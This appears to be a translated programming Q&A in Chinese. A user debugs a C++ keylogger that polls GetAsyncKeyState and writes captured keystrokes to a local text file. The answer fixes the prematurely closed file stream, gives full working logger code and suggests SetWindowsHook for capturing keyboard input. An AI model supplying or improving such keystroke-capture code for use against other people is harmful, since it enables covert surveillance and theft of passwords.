无法在 C++ 中将击键写入记事本

问题描述

(C++ 17) 我正在编写一个键盘记录器,可以将击键记录到记事本上,但我无法写入记事本。我创建了一个函数,该函数在具有 175 毫秒延迟的 while true 循环中被调用

std::ofstream keyLogs;
keyLogs.open("C:\\Users\\smart\\Desktop\\Text Files\\Key Log.txt");
char tochar;

if (capital) // Capital is parameter
{
    keyLogs << "Printed,1." 
    for (int ascii = 32; ascii <= 126; ascii++)
    {
        keyLogs << "Printed,2." 
        if (GetAsyncKeyState(ascii))
        {
            keyLogs << "Printed,3." 
            tochar = char(ascii); // Turns ascii to char 
            if (((GetKeyState(VK_SHIFT) & 0x8000) != 0) && ascii >= 49 && ascii <= 57)
            {
                if (ascii == 49) { tochar = '!'; }
                else if (ascii == 50) { tochar = '@'; }
                else if (ascii == 51) { tochar = '#'; }
                else if (ascii == 52) { tochar = '$'; }
                else if (ascii == 53) { tochar = '%'; }
                else if (ascii == 54) { tochar = '^'; }
                else if (ascii == 55) { tochar = '&'; }
                else if (ascii == 56) { tochar = '*'; }
                else if (ascii == 57) { tochar = '('; }
            }
            keyLogs << tochar << "\n";
            std::cout << tochar << std::endl;
            keyLogs.close();
        }
    }
}

当我执行代码时,程序将 Printed 1 和 2 很好地写入记事本,但之后就停止了。并不是程序无法访问它,因为我所有的按键都打印在控制台上。我还获得了许多其他键盘记录器存储库,但它们都有相同的问题,即无法将击键记录到记事本上。我尝试禁用我的防病毒软件,然后运行代码,但它仍然不起作用。


编辑:

// headerFile.h
extern std::ofstream keyLogs;
void GetKeypressed(bool capital);

// define.cpp
std::ofstream keyLogs("C:\\Example\\Example.txt");

// Defines GetKeyState function
void GetKeypressed(bool capital)
{
    char tochar;
     // If capital true
    if (capital)
    {
        for (int ascii = 32; ascii <= 126; ascii++)
        {
            if (GetAsyncKeyState(ascii))
            {
                // Turns ascii to char 
                tochar = char(ascii);
                keyLogs << tochar;

                if (((GetKeyState(VK_SHIFT) & 0x8000) != 0) && ascii >= 49 && ascii <= 57)
                {
                    if (ascii == 49) { tochar = '!'; }
                    else if (ascii == 50) { tochar = '@'; }
                    else if (ascii == 51) { tochar = '#'; }
                    else if (ascii == 52) { tochar = '$'; }
                    else if (ascii == 53) { tochar = '%'; }
                    else if (ascii == 54) { tochar = '^'; }
                    else if (ascii == 55) { tochar = '&'; }
                    else if (ascii == 56) { tochar = '*'; }
                    else if (ascii == 57) { tochar = '('; }
                }
                keyLogs << tochar << "\n";
                // std::cout << tochar << std::endl;
            }
        }
    }

// main.cpp
#include "headerFile.h"
int main()
{
    keyLogs.open("C:\\Example\\Example.txt");
    while (true)
    {
        // If capital or shift are being held down
        if ((GetKeyState(VK_CAPITAL) & 0x0001 || GetKeyState(VK_SHIFT) & 0x8000) != 0)
        {
            // If both are being held down
            if ((GetKeyState(VK_CAPITAL) & 0x0001 && GetKeyState(VK_SHIFT) & 0x8000) != 0) { GetKeypressed(false); }
            else { GetKeypressed(true); }
        }

        // If capital and shift are not toggled
        if ((GetKeyState(VK_CAPITAL) & 0x0001 || GetKeyState(VK_SHIFT) & 0x8000) == 0)
            GetKeypressed(false);

        Sleep(175);
    }
    keyLogs.close();
}

解决方法

如果只看代码中的错误,是因为第一次执行函数时循环中keyLogs的文件流已经关闭了。这样以后你的关键信息就不会写入文件了,你可以定义keyLogs为全局变量。

这是修改后的代码,可以参考:

#include <iostream>
#include <fstream>
#include <windows.h>
using namespace std;
std::ofstream keyLogs;

void f()
{
    char toChar;
    if (true) // I use true just test
    {
        //keyLogs << "Printed,1.";
        for (int ascii = 32; ascii <= 126; ascii++)
        {
            //keyLogs << "Printed,2.";
            if (GetAsyncKeyState(ascii))
            {
                keyLogs << "Printed,3.";
                toChar = char(ascii); // Turns ascii to char 
                if (((GetKeyState(VK_SHIFT) & 0x8000) != 0) && ascii >= 49 && ascii <= 57)
                {
                    if (ascii == 49) { toChar = '!'; }
                    else if (ascii == 50) { toChar = '@'; }
                    else if (ascii == 51) { toChar = '#'; }
                    else if (ascii == 52) { toChar = '$'; }
                    else if (ascii == 53) { toChar = '%'; }
                    else if (ascii == 54) { toChar = '^'; }
                    else if (ascii == 55) { toChar = '&'; }
                    else if (ascii == 56) { toChar = '*'; }
                    else if (ascii == 57) { toChar = '('; }
                }
                keyLogs << toChar << "\n";
                //std::cout << toChar << std::endl;
            }
        }
    }
}


int main(int argc,const char* argv[])
{
    keyLogs.open("D:\\test\\test.txt");
    while (true)
    {
        f();
        Sleep(175);
    }
    keyLogs.close();

    return 0;
}

当然推荐你使用SetWindowsHook来实现键盘录音,可以参考:C++/Win32: Keyboard input to a non-foreground window